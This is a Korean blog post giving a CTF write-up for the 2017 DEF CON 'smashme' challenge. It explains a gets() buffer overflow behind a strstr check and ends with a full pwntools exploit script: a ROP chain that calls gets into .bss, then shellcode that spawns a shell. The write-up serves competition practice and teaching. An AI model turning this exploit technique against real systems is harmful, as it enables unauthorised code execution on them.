본문 바로가기
pwnable/ctf

[write-up] 2017 defcon CTF - smashme

by Ryuuu 2018. 5. 9.

데프콘이 이제 얼마 안남아서 한번 풀어보는데 최저배점이라 그런지... 너무 쉽다... 그런데 다른건 너무 어렵다 ㅎㅎ

힙 문제가 많던데 이번 기회에 힙 좀 공부해야겠다...


먼저 문제를 보면 64비트 바이너리이다.


보호기법을 보면 아무것도 걸려있는게 없다. 그래서 쉘코드를 쓸 수 있어서 더 쉽다

 


main을 보면 그냥 gets 받아서 오버플로우 나게 생겼다

 


그런데 오버플로우가 나지 않아서 보니 중간에 인자에 Smash me outside, how bout dAAAAAAAAAAA와 입력한 값을 인자로 함수호출을 한다.


이 함수가 무엇인지 모르겠어서 디버깅을 해보니까 strstr인 것을 확인할 수 있었다.


그래서Smash me outside, how bout dAAAAAAAAAAA 뒤에 payload를 붙여주면 if문 내로 안들어가 exit이 안되고 오버플로우 난다.

그러면 이제 쉘코드 넣고 쉘코드로 뛰는걸 rop이용해서 하면 된다.

payload

 
# usr/bin/env python
# ryuuu

from pwn import *

s = process("./smashme")
#s = process(["strace","-i","./smashme"])

context(arch='amd64', os='linux')

shellcode = asm(shellcraft.sh())

prdi = 0x00000000004014d6 # pop rdi ; ret
bss_addr = 0x6CAB60

payload = "Smash me outside, how bout dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
payload += p64(prdi)
payload += p64(bss_addr)
payload += p64(0x40FAD0) #call gets
payload += p64(bss_addr)

s.sendlineafter("smash?",payload)

s.sendline(shellcode)

s.interactive()


'pwnable > ctf' 카테고리의 다른 글

[write-up]2018 secoon ctf - profile  (0) 2018.11.06
[write-up] 2018 SCTF - CowBoy  (1) 2018.07.14
x64 systemcall execveat  (0) 2018.05.06
[write-up] 2018 ASIS CTF - Cat  (0) 2018.05.02
[write-up] 2018 codegate - Super Marimo  (0) 2018.03.08

댓글